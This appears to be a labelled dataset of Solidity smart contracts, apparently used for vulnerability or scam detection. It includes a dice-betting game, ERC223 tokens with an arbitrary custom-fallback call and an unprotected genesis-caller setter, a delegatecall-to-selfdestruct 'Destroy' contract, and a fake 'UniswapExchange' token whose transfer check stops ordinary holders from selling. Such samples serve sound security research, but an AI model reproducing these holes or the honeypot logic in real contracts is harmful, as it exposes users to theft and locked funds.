}
function calculateWinningReward(uint256 betValue, uint256 playerNumber, uint256 houseEdge) public view returns (uint256) {
return _lib.calculateWinningReward(betValue, playerNumber, houseEdge);
}
function calculateTokenReward(uint256 betValue, uint256 playerNumber, uint256 houseEdge) public constant returns (uint256) {
return _lib.calculateTokenReward(settingAddress, betValue, playerNumber, houseEdge);
}
function playerWithdrawPendingTransactions() public {
require(playerPendingWithdrawals[msg.sender] > 0);
uint256 withdrawAmount = playerPendingWithdrawals[msg.sender];
playerPendingWithdrawals[msg.sender] = 0;
uint256 status = 1;
if (!msg.sender.send(withdrawAmount)) {
status = 0;
playerPendingWithdrawals[msg.sender] = withdrawAmount;
}
emit LogPlayerWithdrawBalance(msg.sender, withdrawAmount, status);
}
function playerWithdrawPendingTokenTransactions() public {
require(playerPendingTokenWithdrawals[msg.sender] > 0);
uint256 withdrawAmount = playerPendingTokenWithdrawals[msg.sender];
playerPendingTokenWithdrawals[msg.sender] = 0;
uint256 status = 1;
if (!_spintoken.mintTransfer(msg.sender, withdrawAmount)) {
status = 0;
playerPendingTokenWithdrawals[msg.sender] = withdrawAmount;
}
emit LogPlayerWithdrawTokenBalance(msg.sender, withdrawAmount, status);
}
function playerGetBet(bytes32 betId) public
constant returns (uint256, uint256, uint256, uint256, uint256, uint256, bool) {
require(betIdLookup[betId] > 0 && bets[betIdLookup[betId]].betId == betId);
Bet memory _bet = bets[betIdLookup[betId]];
return (_bet.betValue, _bet.diceResult, _bet.playerNumber, _bet.houseEdge, _bet.rewardValue, _bet.tokenRewardValue, _bet.processed);
}
function playerGetPendingBetIds() public constant returns (bytes32[]) {
bytes32[] memory pendingBetIds = new bytes32[](totalPendingBets);
if (totalPendingBets > 0) {
uint256 counter = 0;
for (uint256 i = 1; i <= _setting.uintSettings('totalBets'); i++) {
Bet memory _bet = bets[i];
if (_bet.processed == false) {
pendingBetIds[counter] = _bet.betId;
counter++;
}
if (counter == totalPendingBets) {
break;
}
}
}
return pendingBetIds;
}
function playerGetPendingBet(bytes32 betId) public
constant returns (address, uint256, uint256, uint256, uint256) {
require(betIdLookup[betId] > 0 && bets[betIdLookup[betId]].betId == betId);
Bet memory _bet = bets[betIdLookup[betId]];
return (_bet.playerAddress, _bet.playerNumber, _bet.betValue, _bet.houseEdge, _bet.blockNumber);
}
function calculateClearBetBlocksReward() public constant returns (uint256) {
return _lib.calculateClearBetBlocksReward(settingAddress, lotteryAddress);
}
function _storeBet (uint256 betValue, address playerAddress, uint256 playerNumber, uint256 houseEdge) internal returns (uint256) {
_setting.spinwinRollDice(betValue);
uint256 betInternalId = _setting.uintSettings('totalBets');
bytes32 betId = keccak256(abi.encodePacked(this, playerAddress, betInternalId));
Bet storage _bet = bets[betInternalId];
require (_bet.processed == false);
betIdLookup[betId] = betInternalId;
_bet.playerAddress = playerAddress;
_bet.betId = betId;
_bet.betValue = betValue;
_bet.playerNumber = playerNumber;
_bet.houseEdge = houseEdge;
_bet.rewardValue = calculateWinningReward(betValue, playerNumber, houseEdge);
_bet.tokenRewardValue = calculateTokenReward(betValue, playerNumber, houseEdge);
_bet.blockNumber = block.number;
totalPendingBets++;
emit LogBet(_bet.betId, _bet.playerAddress, _bet.playerNumber, _bet.betValue, _bet.houseEdge, _bet.rewardValue, _bet.tokenRewardValue);
return betInternalId;
}
function _clearSingleBet(address playerAddress, bytes32 betId, uint256 blockSecurityCount) internal returns (bool) {
if (betIdLookup[betId] > 0) {
Bet memory _bet = bets[betIdLookup[betId]];
if (_bet.processed == false && _setting.uintSettings('contractBalance') >= _bet.rewardValue && (block.number.sub(_bet.blockNumber)) >= blockSecurityCount) {
_processBet(playerAddress, betIdLookup[betId], true);
} else {
emit LogRewardLotteryBlocks(playerAddress, _bet.betId, 0, 2, 0);
}
return true;
} else {
emit LogBetNotFound(betId);
return false;
}
}
function _processBet(address triggerAddress, uint256 betInternalId, bool isClearMultiple) internal returns (bool) {
Bet storage _bet = bets[betInternalId];
uint256 _betValue = _bet.betValue;
uint256 _rewardValue = _bet.rewardValue;
uint256 _tokenRewardValue = _bet.tokenRewardValue;
_bet.processed = true;
_bet.betValue = 0;
_bet.rewardValue = 0;
_bet.tokenRewardValue = 0;
_bet.diceResult = _lib.generateRandomNumber(settingAddress, _bet.blockNumber, _setting.uintSettings('totalBets').add(_setting.uintSettings('totalWeiWagered')), 100);
if (_bet.diceResult == 0) {
_refundPlayer(betInternalId, _betValue);
} else if (_bet.diceResult < _bet.playerNumber) {
_payWinner(betInternalId, _betValue, _rewardValue);
} else {
_payLoser(betInternalId, _betValue, _tokenRewardValue);
}
totalPendingBets--;
_setting.spinwinUpdateTokenToWeiExchangeRate();
uint256 lotteryBlocksReward = calculateClearBetBlocksReward();
if (isClearMultiple == false) {
uint256 multiplier = _setting.uintSettings('clearSingleBetMultiplier');
} else {
multiplier = _setting.uintSettings('clearMultipleBetsMultiplier');
}
lotteryBlocksReward = (lotteryBlocksReward.mul(multiplier)).div(TWO_DECIMALS);
lotteryBlocksAmount[triggerAddress] = lotteryBlocksAmount[triggerAddress].add(lotteryBlocksReward);
emit LogRewardLotteryBlocks(triggerAddress, _bet.betId, lotteryBlocksReward, 2, 1);
return true;
}
function _refundPlayer(uint256 betInternalId, uint256 refundAmount) internal {
Bet memory _bet = bets[betInternalId];
int256 betStatus = 3;
if (!_bet.playerAddress.send(refundAmount)) {
betStatus = 4;
playerPendingWithdrawals[_bet.playerAddress] = playerPendingWithdrawals[_bet.playerAddress].add(refundAmount);
}
emit LogResult(_bet.betId, _bet.playerAddress, _bet.playerNumber, _bet.diceResult, refundAmount, _bet.houseEdge, 0, 0, betStatus);
}
function _payWinner(uint256 betInternalId, uint256 betValue, uint256 playerProfit) internal {
Bet memory _bet = bets[betInternalId];
_setting.spinwinUpdateWinMetric(playerProfit);
playerProfit = playerProfit.add(betValue);
int256 betStatus = 1;
if (!_bet.playerAddress.send(playerProfit)) {
betStatus = 2;
playerPendingWithdrawals[_bet.playerAddress] = playerPendingWithdrawals[_bet.playerAddress].add(playerProfit);
}
emit LogResult(_bet.betId, _bet.playerAddress, _bet.playerNumber, _bet.diceResult, betValue, _bet.houseEdge, playerProfit, 0, betStatus);
}
function _payLoser(uint256 betInternalId, uint256 betValue, uint256 tokenRewardValue) internal {
Bet memory _bet = bets[betInternalId];
_setting.spinwinUpdateLoseMetric(betValue, tokenRewardValue);
int256 betStatus;
if (!_bet.playerAddress.send(1)) {
betStatus = -1;
playerPendingWithdrawals[_bet.playerAddress] = playerPendingWithdrawals[_bet.playerAddress].add(1);
}
if (tokenRewardValue > 0) {
if (!_spintoken.mintTransfer(_bet.playerAddress, tokenRewardValue)) {
betStatus = -2;
playerPendingTokenWithdrawals[_bet.playerAddress] = playerPendingTokenWithdrawals[_bet.playerAddress].add(tokenRewardValue);
}
}
emit LogResult(_bet.betId, _bet.playerAddress, _bet.playerNumber, _bet.diceResult, betValue, _bet.houseEdge, 1, tokenRewardValue, betStatus);
_sendLotteryContribution(betInternalId, betValue);
}
function _sendLotteryContribution(uint256 betInternalId, uint256 betValue) internal returns (bool) {
uint256 contractBalance = _setting.uintSettings('contractBalance');
if (contractBalance >= _setting.uintSettings('minBankroll')) {
Bet memory _bet = bets[betInternalId];
uint256 lotteryContribution = _lib.calculateLotteryContribution(settingAddress, lotteryAddress, betValue);
if (lotteryContribution > 0 && contractBalance >= lotteryContribution) {
_setting.spinwinUpdateLotteryContributionMetric(lotteryContribution);
emit LogLotteryContribution(_bet.betId, _bet.playerAddress, lotteryContribution);
if (!lotteryAddress.call.gas(_setting.uintSettings('gasForLottery')).value(lotteryContribution)()) {
return false;
}
}
}
return true;
}
function _rewardReferree(address referreeAddress, uint256 betInternalId) internal {
Bet memory _bet = bets[betInternalId];
if (referees[_bet.playerAddress] != address(0)) {
referreeAddress = referees[_bet.playerAddress];
}
if (referreeAddress != address(0) && referreeAddress != _bet.playerAddress) {
referees[_bet.playerAddress] = referreeAddress;
uint256 _tokenForLotto = _bet.tokenRewardValue.mul(_setting.uintSettings('referralPercent')).div(PERCENTAGE_DIVISOR);
lotteryBlocksAmount[referreeAddress] = lotteryBlocksAmount[referreeAddress].add(_tokenForLotto);
emit LogRewardLotteryBlocks(referreeAddress, _bet.betId, _tokenForLotto, 1, 1);
}
}
} | 0 | 931 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract SOCCERCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "SOCCER COIN";
string public symbol = "SOCCER";
uint8 public decimals = 16;
uint256 public totalSupply;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 3 days;
uint public stakeMaxAge = 90 days;
uint256 public maxTotalSupply = 45e9 * 1e16;
uint256 public initialTotalSupply = 20e9 * 1e16;
struct transferInStruct{
uint256 amount;
uint64 time;
}
address public admin = 0x166A52e2f21b36522Bfcf6e940AD17E2649424b0;
address public presale = 0x652b861c0021D854f1A1240d4Ff468f4EE14B89E;
address public develop = 0x6C0689664E1c9f228EEb87088c4F3eA6244d6Cc3;
address public pr = 0xFB432Ac2F5fb98312264df7965E2Ca062C856150;
address public manage = 0x282117F44Be63192Fc05C6Ccce748E3618aceCD8;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping(address => transferInStruct[]) public transferIns;
event Burn(address indexed burner, uint256 value);
event PosMint(address indexed _address, uint _reward);
constructor () public {
owner = admin;
totalSupply = initialTotalSupply;
balanceOf[owner] = totalSupply;
chainStartTime = now;
chainStartBlockNumber = block.number;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint256(balanceOf[_from]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function airdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e16);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
uint64 _now = uint64(now);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
transferIns[addresses[j]].push(transferInStruct(uint256(amounts[j]),_now));
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balanceOf[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
return true;
}
function setStakeStartTime(uint timestamp) onlyOwner public {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner public {
require(_value > 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balanceOf[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
initialTotalSupply = initialTotalSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
emit Burn(msg.sender, _value);
}
function getBlockNumber() constant public returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function posMint() canPoSMint public returns (bool) {
if(balanceOf[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balanceOf[msg.sender] = balanceOf[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),uint64(now)));
emit PosMint(msg.sender, reward);
return true;
}
function coinAge() constant public returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function getCoinAge(address _address, uint _now) internal view returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount).mul(nCoinSeconds).div(1 days));
}
}
function getReward(address _address) internal view returns (uint reward) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint64 _now = uint64(now);
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
reward = _coinAge.mul(45).div(1000).div(365);
return reward;
}
} | 1 | 5,079 |
contract ERC223ReceivingContract {
struct iGn {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data){
iGn memory ignite;
ignite.sender = _from;
ignite.value = _value;
ignite.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
ignite.sig = bytes4(u);
}
}
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y) throw;
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) throw;
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) throw;
return x * y;
}
}
contract iGnite is SafeMath {
string public name;
bytes32 public symbol;
uint8 public decimals;
uint256 public rewardPerBlockPerAddress;
uint256 public totalGenesisAddresses;
address public genesisCallerAddress;
uint256 public initialSupplyPerAddress;
uint256 public genesisBlockCount;
uint256 private minedBlocks;
uint256 private iGnited;
uint256 private genesisSupplyPerAddress;
uint256 private totalMaxAvailableAmount;
uint256 private availableAmount;
uint256 private availableBalance;
uint256 private balanceOfAddress;
uint256 private genesisSupply;
uint256 private _totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => uint) balances;
mapping(address => bool) public genesisAddress;
mapping (address => mapping (address => uint)) internal _allowances;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function iGnite() {
genesisSupplyPerAddress = 10000000000;
genesisBlockCount = 4498200;
rewardPerBlockPerAddress = 135;
totalGenesisAddresses = 1000;
genesisSupply = initialSupplyPerAddress * totalGenesisAddresses;
genesisCallerAddress = 0x0000000000000000000000000000000000000000;
}
function currentBlock() constant returns (uint256 blockNumber)
{
return block.number;
}
function blockDiff() constant returns (uint256 blockNumber)
{
return block.number - genesisBlockCount;
}
function assignGenesisAddresses(address[] _address) public returns (bool success)
{
if (block.number <= 4538447)
{
if (msg.sender == genesisCallerAddress)
{
for (uint i = 0; i < _address.length; i++)
{
balanceOf[_address[i]] = genesisSupplyPerAddress;
genesisAddress[_address[i]] = true;
}
return true;
}
}
return false;
}
function balanceOf(address _address) constant returns (uint256 Balance)
{
if (genesisAddress[_address]) {
minedBlocks = block.number - genesisBlockCount;
if (minedBlocks >= 75000000) return balanceOf[_address];
availableAmount = rewardPerBlockPerAddress * minedBlocks;
availableBalance = balanceOf[_address] + availableAmount;
return availableBalance;
}
else
return balanceOf[_address];
}
function name() constant returns (string _name)
{
name = "iGnite";
return name;
}
function symbol() constant returns (bytes32 _symbol)
{
symbol = "iGn";
return symbol;
}
function decimals() constant returns (uint8 _decimals)
{
decimals = 6;
return decimals;
}
function totalSupply() constant returns (uint256 totalSupply)
{
minedBlocks = block.number - genesisBlockCount;
availableAmount = rewardPerBlockPerAddress * minedBlocks;
iGnited = availableAmount * totalGenesisAddresses;
return iGnited + genesisSupply;
}
function minedTotalSupply() constant returns (uint256 minedBlocks)
{
minedBlocks = block.number - genesisBlockCount;
availableAmount = rewardPerBlockPerAddress * minedBlocks;
return availableAmount * totalGenesisAddresses;
}
function initialiGnSupply() constant returns (uint256 maxSupply)
{
return genesisSupplyPerAddress * totalGenesisAddresses;
}
function burn(uint256 _value) public returns(bool success) {
minedBlocks = block.number - genesisBlockCount;
availableAmount = rewardPerBlockPerAddress * minedBlocks;
iGnited = availableAmount * totalGenesisAddresses;
_totalSupply = iGnited + genesisSupply;
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
_totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function assignGenesisCallerAddress(address _caller) public returns(bool success)
{
if (genesisCallerAddress != 0x0000000000000000000000000000000000000000) return false;
genesisCallerAddress = _caller;
return true;
}
function transfer(address _to, uint _value) public returns (bool) {
if (_value > 0 && _value <= balanceOf[msg.sender] && !isContract(_to)) {
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
if (_value > 0 && _value <= balanceOf[msg.sender] && isContract(_to)) {
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
ERC223ReceivingContract _contract = ERC223ReceivingContract(_to);
_contract.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
return false;
}
function isContract(address _addr) returns (bool) {
uint codeSize;
assembly {
codeSize := extcodesize(_addr)
}
return codeSize > 0;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
if (_allowances[_from][msg.sender] > 0 && _value > 0 && _allowances[_from][msg.sender] >= _value &&
balanceOf[_from] >= _value) {
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
return false;
}
function approve(address _spender, uint _value) public returns (bool) {
_allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return _allowances[_owner][_spender];
}
} | 1 | 2,895 |
pragma solidity ^0.4.23;
contract Destroy{
function delegatecall_selfdestruct(address _target) external returns (bool _ans) {
_ans = _target.delegatecall(bytes4(sha3("address)")), this);
}
} | 0 | 633 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
